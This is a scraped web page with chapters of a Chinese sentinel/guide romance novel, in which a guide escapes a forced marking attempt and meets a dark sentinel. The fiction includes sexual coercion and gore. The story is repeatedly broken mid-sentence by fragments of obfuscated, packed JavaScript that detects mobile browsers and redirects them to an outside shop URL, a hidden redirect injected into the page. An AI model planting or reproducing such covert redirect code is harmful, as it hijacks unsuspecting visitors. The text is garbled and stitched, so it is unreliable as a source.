l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223131|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到哈桑会突然来这么一下,几乎是靠墙体支撑才没有倒下去。多亏抑制项圈的作用,让温述没有瞬间发.情,但信息素的味道却是不受控地散溢出来。 哈桑贴着温述的脖颈嗅了嗅,不满道:“怎么变味了?” 温述想起自己早上注射的那支信息素伪装剂。 但哈桑信息素的味道非但没有减淡,反而变得更浓。温述不仅仅感受到腰腿酸软,更是呼吸急促,浑身暴汗,眼前的视线也越来越模糊。他意识到就算有抑制项圈,也无法抵抗结合.热的到来。 尽管在从前的交往中,温述掌握着哨兵的身体,控制着哨兵的精神,但他本质上还是一个向导,成年后会被哨兵的信息素勾引,会渴望哨兵的爱抚,渴望深度结合带给他的安全感。 哈桑估摸温述到了临界点,伸手碰了碰温述的腰。没有想到只是用指尖碰了一下,温述浑身就剧烈地颤抖了一下,腰部也随之弹跳了一下。 哈桑不解,“你为什么要忍着呢?你都逃塔了,为什么不干脆和我走,非得处处和我作对?” 温述眼神迷离,雾眼迷蒙地看着哈桑一张一合的嘴唇,集中自己所有的注意力才能听懂他在说什么。 眼前的黑雾中时不时闪现春晖大桥下的场景,闪现出年幼时在矿区的场景……闪现出更多陌生又熟悉的场景,直至视野最后完全被哈桑的面庞占据。 不! 不行! 绝对不能! 温述想要摘除颈圈,这样就能逃出哈桑的禁锢。然而手指摸上颈圈的时候,他似乎看到了哈桑洋洋得意的笑容。 他瞬间惊出了一身冷汗,若是自己真的摘下项圈,腺体就失去了最后的保护。哈桑就是冲着标记自己来的,正处于结合热的自己真的能防住吗? “住手……”,温述努力控制自己的声音,“你如果真这么干了,我会杀了你。” 哈桑按住了温述死扣项圈的手,有意带动他动作,“如果到时候你舍得下手,我让你来杀。” 深度结合会在哨向之间产生非同一般的强联系,即使向导在深度结合前对哨兵恨之入骨,被标记后也会受契约影响无法做出任何伤害哨兵的行为,甚至就连伤害哨兵的想法也不能拥有。 但现在是什么年代,科技都进步了,标记也不是不能做手术消除。 温述嘶声道:“我做手术抹除了再杀!” 哈桑怒然,“你敢!” 温述双眼闪过一丝光晕,他不顾等级的差距发动【海市蜃楼】异能,但后果就是被哈桑迅速发现后击碎。 他脑仁剧痛,如被卡车撞击后又被车胎来回碾压,身体肌肉也因为颅内剧痛而轻微痉挛,眼角霎时间流出两道鲜血。 温述一擦,糊了自己一脸。他也没想到反噬这么严重,也被吓了一跳。 见血之后,哈桑大惊失色,他立即扳过温述的脸,用手指擦温述脸上的血,但越擦越狼狈。最终他暴躁地低吼:“你就这么不愿意?!” 温述对吼:“换你你TM愿意?!” 哈桑怒极反笑,“好好好!我本不想对你用异能的,但这一次为了让你听话,只好让你尝尝了。” 不知何时,鬃毛燃着熊熊火焰的黄金狮出现在哈桑身后。 温述突然感到一股极其强大的压迫感笼罩在头顶。 这种感觉是无实质的、无缘由的,却如泰山压顶,巨日凌空,如金字塔的神迹耸立于前,如在向巍峨古老的神殿顶礼膜拜,当人们见到这些过于宏伟的事物时,总会生出一种冲动。 下跪的冲动。 他的每一句话都是圣谕,每一个指令都必须执行!在他目光所及之处皆为领土,领土之上皆为臣民!这就是哈桑的异能 ——【君临】。 在黄金狮双瞳的注视下,温述被这强大的异能震惊,哈桑到底是什么等级! 而他的手已经摸向了颈圈的锁扣。 他内心几欲吐血,两种截然相反的意识在斗争。 解开项圈! 不!绝不能! 当第一条意识以压倒性的力量占据上风时,温述的嘴唇几乎被自己咬烂。 但没过几微秒他就想开了,要是真被强行标记了,他也不能寻死觅活,但他一定要让哈桑用往后余生后悔此时强行标记了他! 他死死咬牙,尝到了自己口中的血腥味,随后他用南部联合塔的语言,骂了一句他这辈子能骂出的最脏的话。 力求能让哈桑立即听懂。 “?????? ????? ?? ?????? ???????(我要艹得你屁、股、开、花)!” 哈桑的表情在一瞬间变得极其错愕,甚至还掺着点迷茫。 恐怕温述兜头给他一拳,都无法产生这种效果。 21.杀胚天降 就在温述解开颈圈的下一秒,只听轰隆一声巨响,狂风卷起温述的额发,他眼睁睁看着哈桑被电磁弹击中,身体不受控制地倒飞出去,砸倒了巷末的土墙。 【君临】随之被打断,温述脱力滑倒,差点跪在地上。 是谁救了他?温述向巷口看去。 温述一抬眼,霎时间感到自己的双目被银色的光晃了一下。 哨兵散在额前的银白发丝在耀眼的阳光下,几乎透明。 四目交错的刹那,温述似乎跌入了一轮倒映紫色月轮的光湖。 下一秒,银发哨兵直接如一颗音速炮弹射而出。他手中提着一把SPT32冰暴动能狙击步枪朝哈桑射击,但子弹与哈萨的皮肤相击,居然发出了金属的铮鸣声。 意识到哨兵皮厚扛不动,银发哨兵直接撇了手中的冰暴,很苦恼地嘁了一声,“看来没法活捉你了。” 他的眼神陡然变得锐利,紫色双眸中闪过一线猩红,“那就死吧!” 天上传来嗡鸣声,温述抬头,看见一架无人机不知何时飞到银发哨兵头顶,给他空降了一把电磁枪。 温述震惊,这后援够骚气啊! 可是电磁枪还未完成蓄能,哈桑已经飞身到银发哨兵眼前,没有任何过渡,竟直接激发身体机能,在瞬间达到30%解放,手臂兽化成狮爪,一爪子向银发哨兵拍去。哪怕是S级哨兵,都难以在这一击下全身而退。 但银发哨兵比他更快,温述甚至没有看到银发哨兵的残影,就看到他瞬移站到了一旁的墙上。 银发哨兵甚至还很嘴欠地发表评价,“比数据慢了不止一星半点,看来伤还没好啊?” 点点碎银在空中飘荡落下。 温述的视力让他一开始没看清那是什么,但一秒钟后,他意识到这是银发哨兵的头发。 银发哨兵看着那缕断发,抬手接住,瞳孔收缩了一下,“看来我还是低估你了。” 哈桑已经够强了,但银发哨兵竟然你直接躲开他的攻击,他究竟是何方神圣! 静水之下,暗潮涌动。身为在场对精神力感知最强的向导,温述第一时间感知到空间中正常的精神力波动,他察觉到哈桑又要使用【君临】,毫不犹豫出声提醒银发哨兵。 “小心,他的异能控制人的心智。” 银发哨兵意外地看了温述一眼,赞扬道:“感知力不错。” “你……” 温述话还没说完,就看到银发哨兵伸手往下一按。 扭曲的空间瞬间被抻平,甚至静水流深的恐怖暗潮也在顷刻间没了踪迹。 一瞬间,别提劳什子异能,什么精神波动都没了。 温述和哈桑都震惊了,两道声音几乎叠在一起。 “黑暗哨兵?!” “居然是黑暗哨兵。” 面对强敌,哈桑毫不犹豫放出精神体,六米长的狮子呈王者之姿凌空出现,直接张开血盆大口袭击银发哨兵的后背。银发哨兵立即跳开,可还是被黄金狮抓破右臂。而他刚才脚下踩的土墙就不幸了,四分五裂连个全尸都没有。 就在此时,电磁枪蓄能完毕,银发哨兵举枪射向黄金狮。 黄金狮提前预判,闪身躲开。 然而,银发哨兵并没有按下扳机,而是猛然调转枪口,朝哈桑射击。极近距离下哈桑来不及躲闪,只能勉强避开要害,刚才他就毫无防备地被电磁枪击中受了伤,现在更是伤上加伤,左腰被顷刻间融了个大洞。 温述甚至能闻到皮肉烧焦的香气。他捂着后颈扶墙站起来,一点一点往后退。 “你旧伤未愈,重度感官神游,解放30%是极限,实力不及巅峰时期十之二三,这种状态不可能打赢我。”银发哨兵重新让电磁枪蓄能,对着哈桑的头颅瞄准,“但你死在我手上,不算丢脸。” 哈桑吐了一口血,殷红的血浆中甚至混着一些块状内脏,他嘶声询问:“你叫什么名字?” 银发哨兵的食指压紧扳机,一字一句道:“谢、安、年。” 是他! 听到这个名字,温述心头一跳,强压着没有表现出来。 哈桑咳嗽了两声,模样看上去很痛苦,他撑起身子,回头看向极力降低自己存在感的温述,竟还笑得出来。 “妞儿,你的救星来了,我得暂时退场了。” 说得倒像是个身穿金甲圣衣,荣誉退场的骑士。 温述暗暗吐槽,但他也只是紧紧盯视着哈桑,一言不发。哈桑知道自己的太多秘密,要是现在落井下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266715|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石全秃噜出来,那自己可玩完了。 幸好哈桑并没有落井下石,但不幸的是,他问了一个更刁钻的问题,“我昨晚的问题,你有答案了吗?” 温述浑身一僵,谢安年的视线也转向他。 谢安年开口,“什么问题?” 哈桑骂了一嘴,转头用普通话说:“问他愿不愿意和我上.床你也管?” 谢安年看了看温述,又看了看哈桑,脸上的表情十分精彩,“……容我问一下,你俩到底什么关系。” 温述脑子懵住一瞬,先在心里骂了一句哈桑傻X,而后字正腔圆地骂了一句,“想peach!” 哈桑哈哈大笑,“那真是可惜了。” 温述,“……” 就在此时,哈桑身下突然亮起一抹红色光晕,将他整个人笼罩在其间。 谢安年瞬间反应过来不对,一炮轰了过去,蓝色电磁与红色光晕交织,可惜为时已晚。 而此时地面上,只余一个烧焦的弹坑。 温述定睛一看,那么高大一个哨兵居然大变活人,凭空消失不见了!但他眼尖注意到,其上弹坑边上有一个用鲜血画成的奇怪标志——图案小半边被破坏但依然鲜红,依稀可见外轮廓是一个圈圈,中间是一个三角形,最里面的图案却被焦化层覆盖,模糊不清了。 谢安年也跳下来研究这标志,似乎看出来什么,立即拍照取证,接着拨打电话,“没错……他逃了,你们快点去追……传送距离有限,他逃不了太远。” 温述默默记下这个图案,没有声张,趁着谢安年注意力不在他身上,一点一点往外挪。 二人的交手比温述想象中快太多,任何惊天动地的大场面都没有出现,他们只是短兵相接,评估对方的实力后迅速做出了判断。 哈桑判断自己身负旧伤必输无疑,于是他没有丝毫犹豫,干净利落地逃跑了。 谢安年则是…… 好吧,温述现在看不透这个哨兵。 温述强忍着浑身的不适,猫着腰已经蹭到了巷口,只怕走得不够快,爬也要爬出谢安年的视线。 他如此忌惮这名黑暗哨兵是有理由的。 他认识谢安年。 甚至可以说,他害怕谢安年。 22.谢安年 在八年级某节安全教育课上,授课老师曾放过一部纪录片。 视频取景是某个荒漠地区的界碑,看建筑特征是南部联合塔风格。很快,作为主角的哨兵入镜。全片没有一句讲解,唯独哨兵杀敌打怪如砍瓜切菜,在敌军基地七进七出如入无人之境,满屏马赛克都遮不住飞溅的血浆。 而作为主角的哨兵,全程连表情都没变一下。 看到最后,全班本在交头接耳睡觉摸鱼的向导都瑟瑟发抖地抱紧了自己。 “神呐保佑我不会嫁给这种哨兵!” “我差点看吐了……” “这还是剪辑版。” 正因为这个教学片,温述深深记住了那名哨兵的名字——谢安年。 不过那时他的头发还是黑的,怎么现在成白毛了? 在职军人允许染发吗? 这杀胚是专门来追捕哈桑的?总不能是来追捕自己的! 但不管怎么说,还是少和他打交道为好。 胜利的曙光就在眼前,温述眼前的景物叠了三重重影,他强忍了身体的酸软颤抖,捂着自己的小腹向前走,可在下一秒,他被一股不容抗拒的力道抓住后衣领,直接一把扥了回去。 那一刻,温述明白自己被厄住了命运的后脖颈。 身后传来了一道过于清朗,过于年轻,带着几分戏谑的声音,“你跑什么?” 温述呵呵笑了两声,故作镇定回答:“我想起来我还有别的事,话说你怎么不去追他?” “追捕逃犯又不是我的工作,遇到他只是碰巧。” 谢安年不是来追捕哈桑的? “……”,温述突然有种不好的预感。 他总不能被中央白塔派来抓自己的吧! 他一未毕业学生,何德何能请动这尊杀胚? 谢安年上下打量着怎么看怎么可疑的向导,看见他花猫似的糊了一脸血,好笑地让他擦擦再说话。 温述草草用袖子擦了几下,感觉自己口鼻呼出的热气能将自己融化。 “脸上的血是怎么回事,你和那个哨兵是什么关系,希望你如实回答。” 谢安年出示了军官证,温述一眼就看到了上面少校的军衔,以及黑暗哨兵的身份标识。 糟了,温述对军方那些刑讯逼供手段是十分了解的,温述不知道在谢安年手下能挺过几个来回。他狠狠咬了一口舌尖,让自己勉强集中注意力。 “我们……没什么关系”谢安年颈带上的徽章是章鱼,水生动物一定凉丝丝的很好贴,温述看得眼睛都红了,“血迹是因为……他强迫我,我受伤了……” 温述以为谢安年很快就能发现他的不对劲,但他低估了黑暗哨兵的迟钝。他们的精神域已经陷落成空洞,完全摆脱了哨兵对向导素的本能依赖,也完全没有结合热这种特殊身体反馈的存在。 很多人都说黑暗哨兵是冷血动物,没有七情六欲的人形兵器,哪怕一个向导脱光衣服站在雪地里喊哥哥我好冷,黑暗哨兵也会面无表情地将他/她推开,说冷就多喝热水。 在温述眼里,他已经被夹在炉子上翻来覆去烤焦了。 谢安年终于发现了温述的不对劲,迟疑了一下开口,“你的信息素,是玫瑰味的?” 温述答:“章鱼……” 谢安年一愣,反应过来后立即护住了自己的后颈肉,竟然在一个E级向导面前生出了极大的危机感,“现在的向导都这么饥渴了吗?” “呜……”结合热吞没人的理智,温述真是太委屈了,明明有冰冰凉凉的章鱼足,就不能给他挼一下吗? “你别哭呀!”谢安年平生第一次体会到什么叫手足无措。 与此同时,维持温述大脑正常运作的最后一根弦也崩断了。 结合热和信息素失控引起了精神泥沼的爆发,温述只感觉自己被人闷头打了一棍,随后被拖着双脚拽下了无底深渊。 事情发生得太突然,谢安年傻眼了,他看见自己身前的小向导手扣着颈圈,痛苦地喘息了几声后,直挺挺地向后倒了下去。 温述糟糕的腺体状态彻底崩溃,抑制颈圈都兜不住了。 信息素喷薄而出,却又被抑制项圈无情堵住,仅泄露出丝丝缕缕,憋得温述皮肤都快要烧起来了。 按理说,精神泥沼幻视幻听只会和刺激源相关,但当深刻在记忆深处的粗重喘息声响起,温述惊愕地睁开了眼睛。 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13290323|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢失的拼图碎片被找回,七零八落的记忆板块终于被补全了一块,温述焦急地想要抓住其它碎片,却只能徒劳地看着它们从指缝里溜走。 燧人塔,白噪音室,止咬器后虹膜充血的赤红双眼垂死哀求望向自己,空气中的信息素混乱无序,浓烈到让他几乎失去了理智,蛮横不讲理地勾起了他的结合热。 对方靠近,汗水沾着自己的皮肤,血肉也要融在一起。锁链声叮当作响,那双铁钳般的大手钳住自己的脖颈,一点点收紧,挤压出温述胸腔里所剩无几的氧气,哽咽般的声音却在哀求自己,“我不能……不能伤害你……” 好热、好热,温述也受不了了,他明明连这个哨兵的名字都不知道,却想和他啃咬撕扯,想侵入他的精神域,将他变成自己的所有物。 …… “喂,你没事吧?” “……” “能听见我说话吗?” 有人在摇晃他,温述伸出双手。 谢安年凑近,却愕然发现温述一双手是冲着自己脖子来的。 温述想得则简单多了,精神泥沼中的缺氧和窒息如实反映在他的身体上,在憋死之前,他怎么都要带走一个! 谢安年一拧眉,单手制住了温述两只手,另一只手将他整个人箍在自己身前,让温述动弹不得。 塔依拉市的热风中,温述抬起头,痛苦地喘着粗气,艰难地从喉咙里挤出几个字,“我之前……见过你吗?” 记忆里的那个哨兵是谢安年吗? 如果是的话,他为什么以那种姿态出现在自己的记忆中? 除了教学纪录片,他们本该没有交集才对。 听到温述这么问,谢安年一本正经地回答:“你可能在新闻里看见过我。是不是真人更帅?” 听到这句不着调的回答,温述像被当头敲了一棒,反而彻底从精神泥沼中清醒了。 他现在是白九,一个平平无奇娇弱无依的E级向导,不是中央白塔的温述。 要是露出半点破绽,他那捂得本来就不太严实的马甲可就掉了。 温述抬头,果然正对上谢安年平和笑容下若有所思的紫眸,他佯装无事回答:“也许……是吧。”